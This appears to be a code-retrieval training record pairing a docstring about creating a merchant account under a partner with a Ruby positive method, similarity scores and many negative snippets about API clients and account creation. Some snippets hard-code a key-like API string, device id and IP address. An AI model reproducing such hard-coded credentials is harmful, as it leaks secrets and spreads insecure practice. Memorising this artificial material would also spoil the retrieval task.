"def api_key\n @key\n end",
"def id=(account_id)\n Driver::Exceptions.raise_unless_reference? account_id\n result = Services.from_url account_id\n fields['id'] = account_id\n\n @service = result[:service]\n @endpoint = result[:endpoint]\n end",
"def initialize(id)\n @id = id\n end",
"def initialize(id)\n @id = id\n end",
"def initialize(id)\n @id = id\n end",
"def initialize(key, region)\n\t\t\t@api_key = key\n\t\t\t@region = region\n\t\t\t@api_suffix = \"?api_key=\" + @api_key\n\t\t\t@entry_point = \"http://prod.api.pvp.net/api/lol/\" + @region +\"/v1.1/\"\n\t\tend",
"def initialize(instance_name, api_key, auth_key)\n super()\n\n self.instance_name = instance_name\n self.api_key = api_key\n self.auth_key = auth_key if auth_key.present?\n end",
"def initialize(api_key, secret, format_options={})\n @auth = { :api_key => api_key }\n @secret = secret\n end",
"def api(api_key = nil)\n # For whatever reason, unless we provide a truthy API key, Turbot::API's\n # initializer immediately attempts to `#get_api_key_for_credentials`.\n api_key ||= email_address_and_api_key[1] || ''\n turbot_api.new(turbot_api_parameters.merge(:api_key => api_key))\n end",
"def initialize(app_id, key)\n @app_id = app_id\n @key = key\n end",
"def initialize (user_id, api_key, secret)\n @secret = secret\n @api_key = api_key\n @user = user_id\n @batch = nil\n\n self.protocol = 'https'\n self.host = 'sandbox.bunchball.net'\n self.accepts = 'json'\n end",
"def api_key\n @api_key\n end",
"def api_key\n @key\n end",
"def api_object\n unless $api\n $api = FyberAPI.new(\n 'b07a12df7d52e6c118e5d47d3f9e60135b109a1f',\n {\n appid: 157,\n format: 'json',\n device_id: '2b6f0cc904d137be2e1730235f5664094b83',\n locale: 'de',\n ip: '109.235.143.113'\n }\n )\n end\n $api\n end",
"def initialize(id)\n self.id = id\n end",
"def initialize base_url, api_key\n\t\t\t\t\t@connection = Freshdesk::Api::Client::Request.new base_url, api_key\n\t\t\t\tend",
"def set_account\n response = @account_api.find(params[:id])\n @account = response[:account]\n end",
"def initialize(api_key, api_secet, options={})\n @api_key, @api_secret = api_key, api_secet\n @consumer_options = options.merge(ApiOptions)\n end",
"def initialize\n\t\t@zomato = Zomato::Base.new(@@api_key)\n\tend",
"def api_key=(val)\n @api_key = val\n end",
"def initialize\n @api_key = ENV['NOMICS_API_KEY_V1']\n end",
"def api_key\n @@api_key\n end",
"def create_api_credentials\n ::ApiCredentials::Create.new({client_id:@client_id}).perform\n end",
"def initialize(username, password, api_key) \n @username = username\n @password = password\n @api_key = api_key\n @client = Savon.client(wsdl: BULLHORN_WSDL, log_level: :debug, pretty_print_xml: true)\n #@client = Savon.client(wsdl: BULLHORN_WSDL, log_level: :warn, pretty_print_xml: true)\n end",
"def initialize(api_key, merchant_plugin_provider, merchant_plugin_endpoint, merchant_metadata = {}, expressly_endpoint = 'https://prod.expresslyapp.com/api')\n @api_key = api_key.include?(\":\") ? api_key : Base64.strict_decode64(api_key)\n @merchant_plugin_provider = merchant_plugin_provider\n @merchant_plugin_endpoint = merchant_plugin_endpoint\n @expressly_endpoint = expressly_endpoint\n @expressly_provider = Api.new(@api_key, expressly_endpoint)\n @merchant_metadata = merchant_metadata\n end"
] | [
"0.7342074",
"0.7273167",
"0.72308403",
"0.72308403",
"0.72308403",
"0.7206008",
"0.71867144",
"0.7177517",
"0.7143401",
"0.69721115",
"0.68567795",
"0.68331903",
"0.68205786",
"0.68150705",
"0.6753521",
"0.67503124",
"0.6663923",
"0.66201735",
"0.66201735",
"0.66201735",
"0.66173214",
"0.6608014",
"0.6599037",
"0.6541163",
"0.6512619",
"0.6502995",
"0.6483082",
"0.64459246",
"0.64459246",
"0.64393145",
"0.6394761",
"0.63781506",
"0.6370493",
"0.63614756",
"0.6359675",
"0.635537",
"0.63544136",
"0.63472176",
"0.6337695",
"0.63240945",
"0.62865704",
"0.62839305",
"0.62831384",
"0.62831384",
"0.62820655",
"0.62454706",
"0.6238655",
"0.62200767",
"0.6211233",
"0.6198351",
"0.6196972",
"0.619636",
"0.6195425",
"0.6168419",
"0.61644053",
"0.6160745",
"0.6142557",
"0.61308104",
"0.61286473",
"0.6128109",
"0.61277634",
"0.6121513",
"0.6107634",
"0.61027616",
"0.6094819",
"0.6093384",
"0.60855824",
"0.6075878",
"0.60681975",
"0.60535276",
"0.60266554",
"0.6005292",
"0.59983283",
"0.59967965",
"0.5975578",
"0.5964698",
"0.5959056",
"0.5956762",
"0.5956762",
"0.5956762",
"0.59537476",
"0.59479946",
"0.5946309",
"0.59454757",
"0.59454316",
"0.5922583",
"0.5921528",
"0.5921039",
"0.59194183",
"0.5915054",
"0.59110606",
"0.59096587",
"0.59054065",
"0.5891993",
"0.5887596",
"0.5876789",
"0.5850865",
"0.5848689",
"0.58484584",
"0.584484"
] | 0.8104245 | 0 |
Creates a new merchant account under the given partner. == Parameters: site_url the url of the merchant site site_email an email address for the merchant analyst_email an email address which will be used to log in at the Sift Console password password (at least 10 chars) to be used to sign into the Console When successful, returns a including the new account id and credentials. When an error occurs, returns nil. | def new_account(site_url, site_email, analyst_email, password)
reqBody = {:site_url => site_url, :site_email => site_email,
:analyst_email => analyst_email, :password => password}
begin
http_post(accounts_url(), reqBody)
rescue Exception => e
puts e.message
puts e.backtrace.inspect
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_merchant email_address, merchant, bank_account_uri=nil, name=nil, meta={}\n account = Account.new(\n :uri => self.accounts_uri,\n :email_address => email_address,\n :merchant => merchant,\n :bank_account_uri => bank_account_uri,\n :name => name,\n :meta => meta,\n )\n account.save\n end",
"def create_wepay_account\n\t\tif self.has_wepay_access_token? && !self.has_wepay_account?\n\t\t\tparams = {:name => self.farm, :description => \"Farm selling \" + self.produce }\n\t\t\tresponse = Wefarm::Application::WEPAY.call(\"/account/create\", self.wepay_access_token, params)\n\t\t\t\n\t\t\tif response[\"account_id\"]\n\t\t\t\tself.wepay_account_id = response[\"account_id\"]\n\t\t\t\treturn self.save\n\t\t\telse\n\t\t\t raise \"Error - \" + response[\"error_description\"]\n\t\t\tend\n\t \n\t\tend\t\t\n\t\traise \"Error - cannot create WePay account\"\n\tend",
"def create_wepay_account\n raise 'Error - cannot create WePay account' unless wepay_access_token? && !wepay_account?\n params = { name: farm, description: 'Farm selling ' + produce }\n response = Wefarm::Application::WEPAY.call('/account/create', wepay_access_token, params)\n\n raise 'Error - ' + response['error_description'] unless response['account_id']\n self.wepay_account_id = response['account_id']\n save\n end",
"def create_wepay_account\n # if we don't have an access_token for this user, then we cannot make this call\n if self.has_wepay_account? then return false end\n # make the /account/create call\n response = WEPAY.call(\"/account/create\", self.wepay_access_token, {\n name: self.campaign.name,\n description: self.campaign.description,\n type: self.campaign.account_type,\n country: self.country,\n currencies: [ self.currency ],\n })\n if response['error'].present?\n raise response['error_description']\n end\n self.wepay_account_id = response['account_id']\n self.save\n end",
"def create_merchant email_address, merchant, bank_account_uri=nil, name=nil, meta={}\n account_attributes = {\n :uri => self.accounts_uri,\n :email_address => email_address,\n :bank_account_uri => bank_account_uri,\n :name => name,\n :meta => meta,\n }\n\n if merchant.respond_to? :keys\n account_attributes[:merchant] = merchant\n else\n account_attributes[:merchant_uri] = merchant\n end\n\n account = Account.new account_attributes\n account.save\n end",
"def create_wepay_account\n\t if self.has_wepay_access_token? && !self.has_wepay_account?\n\t params = { :name => self.name, :description => \"Selling goods on Tradies \" }\t\t\t\n\t response = WEPAY.call(\"/account/create\", self.wepay_access_token, params)\n\n\t if response[\"account_id\"]\n\t \tputs \"need to get account_id\"\n\t \t\t# puts response['account_id']\n\t # self.wepay_account_id = response[\"account_id\"]\n\t return self.update_columns(wepay_account_id: response['account_id'])\n\t else\n\t raise \"Error - \" + response[\"error_description\"]\n\t end\n\n\t end\t\t\n\t raise \"Error - cannot create WePay account\"\n\tend",
"def create_account\n account = Account.new(:email => email, :subdomain => subdomain)\n account.save!\n end",
"def create_wepay_account\n if self.has_wepay_access_token? && !self.has_wepay_account?\n params = { :name => self.name, :description => \"Event - \" + self.name }\t\t\t\n response = GemsUsage::Application::WEPAY.call(\"/account/create\", self.wepay_access_token, params)\n\n if response[\"account_id\"]\n self.wepay_account_id = response[\"account_id\"]\n return self.save\n else\n raise \"Error - \" + response[\"error_description\"]\n end\n\n end\t\t\n raise \"Error - cannot create WePay account\"\nend",
"def create_wepay_account\n if self.has_wepay_access_token? && !self.has_wepay_account?\n params = { :name => self.name, :description => \" User donate \" + self.donate_amount.to_s } \n response = WEPAY.call(\"/account/create\", self.wepay_access_token, params)\n\n if response[\"account_id\"]\n self.wepay_account_id = response[\"account_id\"]\n return self.save\n else\n raise \"Error - \" + response[\"error_description\"]\n end\n\n end \n raise \"Error - cannot create WePay account\"\nend",
"def create_wepay_account\n if self.has_wepay_access_token? && !self.has_wepay_account?\n params = { :name => self.name, :description => self.description }\n response = WEPAY.call(\"/account/create\", self.wepay_access_token, params)\n\n if response[\"account_id\"]\n self.wepay_account_id = response[\"account_id\"]\n return self.save\n else\n raise \"Error - \" + response[\"error_description\"]\n end\n\n end\nraise \"Error - cannot create WePay account\"\nend",
"def create_account(account_create_model, fields = '')\n if account_create_model.blank?\n raise LoginRadius::Error.new, getValidationMessage('account_create_model')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n unless isNullOrWhiteSpace(fields)\n query_parameters['fields'] = fields\n end\n\n resource_path = 'identity/v2/manage/account'\n post_request(resource_path, query_parameters, account_create_model)\n end",
"def create_account\n set_user\n set_payer\n set_user_sport\n save_account\n end",
"def register(partner, cms_password='', template_partner_id=KalturaNotImplemented, silent=false)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'partner', partner);\n\t\t\tclient.add_param(kparams, 'cmsPassword', cms_password);\n\t\t\tclient.add_param(kparams, 'templatePartnerId', template_partner_id);\n\t\t\tclient.add_param(kparams, 'silent', silent);\n\t\t\tclient.queue_service_action_call('partner', 'register', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def create_account(lead)\n Account.create({\n company_id: lead.company_id,\n user_id: lead.user_id\n })\n end",
"def create\n @partner = Partner.new(params[:partner])\n @partner.build_user(params[:user])\n\n is_ok = true\n begin\n Partner.transaction do\n @partner.save!\n @partner.user.save!\n end\n rescue ActiveRecord::RecordInvalid => e\n logger.error e\n is_ok = false\n end\n\n if is_ok\n flash[:notice] = 'Partner was successfully created.'\n redirect_to partner_url(@partner) \n else\n render :action => \"new\" \n end\n end",
"def register(partner_id, token, type, email=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'partnerId', partner_id)\n\t\t\tclient.add_param(kparams, 'token', token)\n\t\t\tclient.add_param(kparams, 'type', type)\n\t\t\tclient.add_param(kparams, 'email', email)\n\t\t\tclient.queue_service_action_call('social', 'register', 'KalturaSocial', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend",
"def create_buyer email_address, card_uri, name=nil, meta={}\n account = Account.new(\n :uri => self.accounts_uri,\n :email_address => email_address,\n :card_uri => card_uri,\n :name => name,\n :meta => meta,\n )\n account.save\n end",
"def create_buyer email_address, card_uri, name=nil, meta={}\n account = Account.new(\n :uri => self.accounts_uri,\n :email_address => email_address,\n :card_uri => card_uri,\n :name => name,\n :meta => meta,\n )\n account.save\n end",
"def setup_new_bank_account(bank_code, credentials, country = 'de', options = {})\n data = { \"bank_code\" => bank_code,\n \"country\" => country,\n \"credentials\" => credentials\n }\n data = data.merge(options)\n query_api \"/rest/accounts\", data, \"POST\"\n end",
"def create\n @system_platform_account = System::PlatformAccount.new(system_platform_account_params)\n if @system_platform_account.save\n record_activities('创建接入账号', @system_platform_account.account_name)\n flash[:success] = '创建接入账号成功'\n redirect_to system_platform_accounts_path\n else\n flash[:error] = \"创建失败: #{@system_platform_account.errors.full_message}\"\n render :new\n end\n end",
"def create\n auth_hash = request.env['omniauth.auth']\n\n merchant = Merchant.find_by(uid: auth_hash[\"uid\"], provider: auth_hash[\"provider\"])\n\n if merchant.nil?\n merchant = Merchant.create_from_github(auth_hash)\n if merchant.nil?\n flash[:error] = \"Could not log in.\"\n else\n session[:merchant_id] = merchant.id\n flash[:success] = \"Logged in successfully!\"\n end\n else\n session[:merchant_id] = merchant.id\n flash[:success] = \"Logged in successfully!\"\n end\n redirect_to root_path\n end",
"def create\n @site_id = Account::Site.id_from_subdomain(current_subdomain) # mark as belonging to *Vault\n @account.affiliate = SubscriptionAffiliate.find_by_token(cookies[:affiliate]) unless cookies[:affiliate].blank?\n @account.site_id = @user.site_id = @site_id\n \n # Taken from users controller to support email activation\n cookies.delete :auth_token\n # protects against session fixation attacks, wreaks havoc with \n # request forgery protection.\n # uncomment at your own risk\n # reset_session\n\n # Using email registration?\n @user.registration_required = false\n \n # Some subscriptions use Captcha in signup form\n @hide_errors = params[:hide_errors]\n\n @account.user ||= @user\n @account.name = @user.full_name\n \n # Do custom validation of account fields\n \n if @account.company_name.blank?\n @account.errors.add(:company_name, \"Please enter your company name\")\n end\n if @account.phone_number.blank?\n @account.errors.add(:phone_number, \"Please enter a contact phone number\")\n end\n \n Rails.logger.debug \"Creating account #{@account.inspect}\"\n Rails.logger.debug \"Account user #{@account.user.inspect}\"\n Rails.logger.debug \"Profile: #{@user.profile.inspect}\"\n \n @success = false\n begin\n Account.transaction do\n @user.profile ||= Profile.new\n @account.save!\n @success = true\n end\n rescue ActiveRecord::RecordInvalid => e\n flash[:error] = \"There are errors in your input. Please correct them and try again\"\n Rails.logger.error \"#{e.class} #{e.message}\"\n rescue Exception => e\n Rails.logger.error \"#{e.class} #{e.message}\" \n end\n \n if @success\n @user.register!\n @user.activate!\n \n # Set session for choose_plan\n session[:account_id] = @account.id\n redirect_to url_for(:action => :plans)\n else # @account not saved\n # Need to reload it otherwise form action will be update!?\n # Happens on transaction ROLLBACK\n unless @account.new_record?\n @account = Account.new(params[:account])\n if @account.users.any?\n @user = @account.users.first\n else\n @account.user = @user = @account.users.build\n end\n end\n @terms_of_service = @user.terms_of_service == \"1\"\n @invitation_token = params[:invitation_token] rescue nil\n render :action => :new\n end\n end",
"def create\n if api_key.blank?\n current_user_id = spree_current_user[:id]\n else\n user = Spree::User.find_by(spree_api_key: api_key)\n current_user_id = user[:id]\n end\n create_vendor(current_user_id)\n end",
"def create_sip_account(extension, username, password)\n #password must be > 6 characters per Cloudvox\n JSON.parse((@cloudvox_api['/phones.json'].post :endpoint => {:extension => extension, :username => username, :password => password}).body)\n end",
"def create\n @site = current_user.sites.build(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to root_url(subdomain: @site.subdomain), notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_account\n\n end",
"def create(body = {})\n @client.account.create(body)\n end",
"def add_site(n, site_name)\n site = Site.new(name: site_name, org_type: 'city', status: 'active')\n lat, lng = Geocoder.coordinates(@zip_xpath[n].text)\n site.contacts.build(city: @city_xpath[n].text, state: @state_xpath[n].text,\n zip: @zip_xpath[n].text, country: @country_xpath[n].text, lat: lat, lng: lng)\n site.save ? site.id : nil\n end",
"def create\n @selleraccount = Selleraccount.new(selleraccount_params)\n\n respond_to do |format|\n if @selleraccount.save\n format.html { redirect_to @selleraccount, notice: 'Selleraccount was successfully created.' }\n format.json { render :show, status: :created, location: @selleraccount }\n else\n format.html { render :new }\n format.json { render json: @selleraccount.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n merchant = Merchant.find_by(email: params[:session][:email].downcase)\n if merchant && merchant.authenticate(params[:session][:password])\n \t # check if this merchant provided his/her store details\n \t if !provided_store_details?(merchant)\n \t \t# set active session and render the merchant page with store details form\n\t start_registration_step \"store_details\"\n\t active_merchant_id merchant\n\t process_registration_steps \"merchant_details\"\n \t \t flash.now['danger'] = \"You did not complete step two of your registration (Merchant Store Details). \n \t \t Please click on this <a href='/merchants/signup'>link</a> to continue\"\n \t \t render 'new'\n \t elsif !is_merchant_email_verified?(merchant.email_verified)\n \t \t# set active session and render the merchant page with store details form\n\t start_registration_step \"verify_email\"\n\t active_merchant_id merchant\n\t process_registration_steps \"merchant_details\"\n\t process_registration_steps \"store_details\"\n \t \t flash.now['danger'] = \"Your email address is not yet verified, please visit your inbox or click <a href='/merchants/signup'>here</a> for a new verification request\"\n \t \t render 'new'\n else\n \t log_in merchant # log in the existing merchant\n redirect_to '/merchants'\n end\n else\n \t flash.now['danger'] = 'Invalid Email/Password provided, please try again.'\n render 'new'\n end\n end",
"def create_account(options)\n form_data = options.merge({ 'action' => 'createaccount' })\n res, dummy = make_api_request(form_data)\n res\n end",
"def create\n # if the user is signed in, just use that user\n if signed_in?\n @user = current_user\n @user.add_role(User::ROLE_MERCHANT)\n @user.save\n else # otherwise register a user from the information provided\n if !params[:accept_terms]\n error(\"You must accept WePay's terms of service.\")\n return redirect_to(\"/campaign/new\")\n end\n if params[:checkout] == \"Custom Checkout\"\n checkout_method = \"custom\"\n elsif params[:checkout] == \"iFrame Checkout\"\n checkout_method = \"iframe\"\n end\n @user = User.new({:name => params[:user_name], :email => params[:user_email], :checkout_method => checkout_method, :country => params[:country]})\n @user.add_role(User::ROLE_MERCHANT)\n @user.password = params[:user_password]\n if @user.valid? && @user.save\n sign_in(@user)\n else\n error(@user.errors.full_messages)\n return redirect_to(\"/campaign/new\")\n end\n end\n # create the campaign from the details provided\n @campaign = Campaign.new({\n user_id: @user.id,\n name: params[:campaign_name],\n description: params[:campaign_description],\n goal: params[:campaign_goal],\n account_type: params[:account_type]\n })\n if @campaign.valid? && @campaign.save\n # if the campaign is valid, register the user on WePay and create a WePay account for it\n @user.register_on_wepay(request.ip, request.env['HTTP_USER_AGENT'])\n @user.create_wepay_account\n @user.resend_confirmation_email\n message(\"Your campaign has been created successfully!\")\n if params[:enable_mfa]\n @user.wants_MFA_enabled = true\n @user.save\n redirect_to(\"/mfa/register/#{@user.id}\")\n\n else\n redirect_to(\"/campaign/details/#{@campaign.id}\")\n end\n\n else\n error(@campaign.errors.full_messages)\n return redirect_to(\"/campaign/new\")\n end\n end",
"def create\n @partner = Partner.new(partner_params)\n @partner.user.skip_confirmation_notification!\n\n respond_to do |format|\n if @partner.save!\n format.html { redirect_to [:admin, @partner], notice: 'Partner was successfully created.' }\n format.json { render action: 'show', status: :created, location: @partner }\n else\n format.html { render action: 'new' }\n format.json { render json: @partner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n logger.debug \"debug_create:#{params.inspect}\"\n @m_site = MSite.new #(m_site_params)\n @m_site.id = MSite.maximum(:id) + 1\n @m_site.name = params['app_job_offer_name']\n @m_site.password = params['app_password']\n @m_site.no_scraping_flg = params['app_no_scraping_flg']\n @m_site.recruitment_site_id = params['recruitment_site_id'].nil? ? '' : params['recruitment_site_id']\n @m_site.url = params['app_url']\n @m_site.user_id = params['app_user_id'].nil? ? '' : params['app_user_id']\n @m_site.extra1 = params['extra1'].nil? ? '' : params['extra1']\n @m_site.extra2 = params['extra2'].nil? ? '' : params['extra2']\n @m_site.extra3 = params['extra3'].nil? ? '' : params['extra3'].to_i\n @m_site.enterprise_cnt = params['enterprise_cnt'].nil? ? 0 : params['enterprise_cnt']\n @recruitment_sites = RecruitmentSite.all\n if (params[:app_password] != params[:app_conf_password]) &&\n !params[:app_conf_password].nil?\n @error_msg = 'パスワードが一致しません。'\n end\n\n @m_site.valid?\n logger.debug \"debug:errors=#{@m_site.errors.full_messages.inspect}\"\n logger.debug \"debug:error_msg=#{@error_msg}?\"\n logger.debug \"debug:redirect?\"\n respond_to do |format|\n if @m_site.valid? && @error_msg.blank?\n @m_site.save\n logger.debug \"debug:create_redirect\"\n format.html { redirect_to '/m_sites', notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @m_site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @partner = Partner.new(params[:partner])\n @partner.ip_address = request.remote_ip\n @page_title = t('partners.new.title', :government_name => current_government.name)\n respond_to do |format|\n if @partner.save\n @partner.register!\n current_user.update_attribute(:partner_id,@partner.id)\n @partner.activate!\n flash[:notice] = t('partners.new.success')\n session[:goal] = 'partner'\n format.html { redirect_to 'http://' + @partner.short_name + '.' + current_government.base_url + picture_partner_path(@partner)}\n else\n format.html { render :action => \"new\" }\n end\n end\n end",
"def create_site\n if params[:site]\n @site_url = TabSite.new(params[:site])\n flash[:notice]= @site_url.save ? \"Tab site created successfully.\" : \"Tab site not created.\"\n redirect_to \"/users/profile/#{@login_user.id}\"\n end\n end",
"def create\n @seller_account = SellerAccount.new(seller_account_params)\n\n respond_to do |format|\n if @seller_account.save\n format.html { redirect_to @seller_account, notice: 'Seller account was successfully created.' }\n format.json { render :show, status: :created, location: @seller_account }\n else\n format.html { render :new }\n format.json { render json: @seller_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user_account\n User.create!(email: self.email, password: self.customer)\n # user = User.new do |u|\n # u.email = email\n # u.password = customer\n # u.save\n # end\n end",
"def create\n @site = current_user.sites.create(params[:site])\n respond_to do |format|\n if @site.save\n format.html { flash_and_redirect(\"successfully saved!\", sites_url) }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_site(params = {})\n site_name.set params['site_name']\n client_division_site_number.set params['client_division_site_number']\n site_number.set params['site_number']\n address_1.set params['address_1']\n address_2.set params['address_2'] if params['address_2']\n zip_code.set params['zip_code']\n city.set params['city']\n country.select(params['country'], match: :first)\n sleep 2 # Wait for the state to be active #TODO: find a way to remove this sleep ~MD\n state.select(params['state']) unless state.disabled?\n study_env.select(params['study_env'])\n pi_email.set params['pi_email']\n pi_first_name.set(params['pi_first_name'])\n pi_last_name.set(params['pi_last_name'])\n pi_role.select(params['pi_role'])\n add_site_submit.click\n sleep 10 # Wait to create a site\n end",
"def create\n redirect_to root_path unless CreateMerchant.new(current_company_user, current_admin).check\n @merchant = @merchant_billing_plan.merchants.build(merchant_params)\n LoadRoles.new.load_merchant_roles(@merchant)\n\n @merchant_plan = @merchant.merchant_plans.build\n @merchant_plan.name = @merchant_billing_plan.name\n @merchant_plan.merchant_billing_plan_id = @merchant_billing_plan.id\n @merchant_plan.save\n\n boot_twilio()\n number = @client.incoming_phone_numbers.create(:phone_number => @merchant.phone_number)\n number.update({'SmsUrl' => 'https://textmarketingresellers.herokuapp.com/messages/reply'})\n\n respond_to do |format|\n if @merchant.save\n format.html { redirect_to root_path, notice: 'Merchant was successfully created.' }\n format.json { render :show, status: :created, location: @merchant }\n else\n format.html { render :new }\n format.json { render json: @merchant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @partner = Partner.new(partner_params)\n\n respond_to do |format|\n if @partner.save\n format.html { redirect_to @partner, notice: 'You are partnered up!' }\n format.json { render :show, status: :created, location: @partner }\n else\n format.html { render :new }\n format.json { render json: @partner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @site = @organization.sites.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to after_create_path, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @type_partner = TypePartner.new(type_partner_params)\n\n respond_to do |format|\n if @type_partner.save\n format.html { redirect_to @type_partner, notice: 'Type partner was successfully created.' }\n format.json { render :show, status: :created, location: @type_partner }\n else\n format.html { render :new }\n format.json { render json: @type_partner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_account\n @customer = Customer.find params[:id]\n fail unless @customer.email == params[:customer][:email]\n @customer.update_attributes!(customer_params)\n @customer_session = Authentication::CustomerSession.new(\n email: @customer.email,\n password: customer_params[:password]\n )\n @customer_session.save!\n end",
"def create\n @partner = Partner.new(params[:partner])\n @company = Company.find(params[:company_id])\n @partner.company = @company\n @partner.save\n\n respond_to do |format|\n if @partner.save\n format.html { redirect_to @partner}\n format.json { render json: @partner, status: :created, location: @partner }\n else\n format.html { render action: \"new\" }\n format.json { render json: @partner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @merchant = Merchant.new(merchant_params)\n @merchant.verification_code = generate_random_string 50 # generate an email verification code\n if(@merchant.save)\n # set active session and render the merchant page with store details form\n start_registration_step \"store_details\"\n active_merchant_id @merchant\n process_registration_steps \"merchant_details\"\n\n @store = Store.new\n render 'new'\n return\n else\n render 'new'\n return\n end\n end",
"def create_account(account_number)\n begin\n #if account does not exist, a NotFound Error will be thrown\n accountNumber = account_number\n\n puts \"Creating new account with account number: #{accountNumber}\"\n\n account = Recurly::Account.create(\n :account_code => accountNumber,\n :email => '[email protected]',\n :first_name => 'Verena',\n :last_name => 'Example',\n :shipping_addresses => [\n {\n :nickname => 'Work',\n :first_name => 'Verena',\n :last_name => 'Example',\n :company => 'Recurly Inc',\n :phone => '555-222-1212',\n :email => '[email protected]',\n :address1 => '123 Main St.',\n :address2 => 'Suite 101',\n :city => 'San Francisco',\n :state => 'CA',\n :zip => '94105',\n :country => 'US'\n },\n {\n :nickname => 'Home',\n :first_name => 'Verena',\n :last_name => 'Example',\n :phone => '555-867-5309',\n :email => '[email protected]',\n :address1 => '123 Fourth St.',\n :address2 => 'Apt. 101',\n :city => 'San Francisco',\n :state => 'CA',\n :zip => '94105',\n :country => 'US'\n }\n ]\n )\n\n account = Recurly::Account.find(accountNumber)\n account.billing_info = {\n :first_name => 'Verena',\n :last_name => 'Example',\n :number => '4111-1111-1111-1111',\n :verification_value => '123',\n :month => 11,\n :year => 2019,\n :address1 => '1234 fake st',\n :city => 'Omaha',\n :state => 'NE',\n :zip => '68135',\n :country => 'US'\n\n }\n account.billing_info.save!\n\n #output account to make sure it saved with billing_info\n #account = Recurly::Account.find accountNumber\n #puts \"Account: #{account.inspect}\"\n\n rescue Recurly::Resource::NotFound => e\n puts e.message\n rescue Recurly::API::UnprocessableEntity => e\n puts e.message\n end\n\n end",
"def create\n response = UserAccount::Create.call(user_account_params)\n if response.success?\n success_response(message: response.status_message, http_status: 202, data: response.data)\n else\n error_response(message: response.status_message, data: response.data)\n end\n end",
"def create\n @partner = Partner.new(params[:partner])\n\n respond_to do |format|\n if @partner.save\n format.html { redirect_to @partner, notice: 'Partner was successfully created.' }\n format.json { render json: @partner, status: :created, location: @partner }\n else\n format.html { render action: \"new\" }\n format.json { render json: @partner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @partner = Partner.new(params[:partner])\n\n respond_to do |format|\n if @partner.save\n format.html { redirect_to @partner, notice: 'Partner was successfully created.' }\n format.json { render json: @partner, status: :created, location: @partner }\n else\n format.html { render action: \"new\" }\n format.json { render json: @partner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trial_site = TrialSite.new(trial_site_params)\n\n respond_to do |format|\n if @trial_site.save\n format.html { redirect_to @trial_site, notice: 'Trial site was successfully created.' }\n format.json { render :show, status: :created, location: @trial_site }\n else\n format.html { render :new }\n format.json { render json: @trial_site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create!\n if @options[:id]\n @id = @options[:id]\n @model = TestChamber::Models::Partner.find(@id)\n else\n # The entire partners page has to render after a new partner is created\n # before we can proceed which takes a while.\n # Just submit the form with the rest client A dirty hack\n # but we create a lot of partners so it gets very slow.\n name = @company_name\n contact_name = 'John Smith'\n phone = '827-5309'\n\n\n if @use_ui\n visit \"#{TestChamber.target_url}/partners/new\"\n fill_in('partner[name]', :with => name)\n fill_in('partner[contact_name]', :with => contact_name)\n fill_in('partner[contact_phone]', :with => phone)\n select(\"United States\", :from => \"partner[country]\")\n\n Util.wait_for(5,1) { first('#partner_submit') }\n Util.trigger_click(first('#partner_submit')) do\n first('#partner_submit').nil?\n end\n else\n # yes, this is horrible, but it is VASTLY faster than using the browser to do this so when\n # we create lots of partners, like one before each test, we can use this.\n html = Nokogiri::HTML(authenticated_request(:get, \"dashboard/partners/new\", format: :html)[:body])\n\n begin\n authenticity_token = html.css(\"input[name=authenticity_token]\")[0][\"value\"]\n rescue\n # Sometimes the authenticity token doesn't exist; we need to catch that situation.\n # Usually due to a redirect to the login page because user auth is not working 100% of the time.\n # Raising makes this more visible.\n raise \"Didn't have the authenticity token. Html: #{html}\"\n end\n\n submit_form_with_rest(action: \"#{TestChamber.target_url}/dashboard/partners\",\n params: {'partner[name]' => name,\n 'partner[contact_name]' => contact_name,\n 'partner[contact_phone]' => phone,\n 'partner[country]' => \"US\",\n 'utf8' => \"✓\",\n 'authenticity_token' => authenticity_token,\n 'commit' => \"Create Partner\"\n },\n expected_redirect: \"#{TestChamber.target_url}/dashboard/partners\")\n end\n\n Util.wait_for(TestChamber.default_wait_for_timeout,\n TestChamber.default_wait_for_interval,\n {:partner_name => @company_name, :options => @options}) do\n @model = TestChamber::Models::Partner.where(:name => @company_name).order(:created_at => :desc).first\n end\n\n @id = @model.id\n TestChamber.created_partners << @id\n\n # Set reseller_id manually since no reliable way to set via UI.\n set_reseller\n\n configure_partner\n approve_partner\n # cache_object\n\n verify_partner\n end\n end",
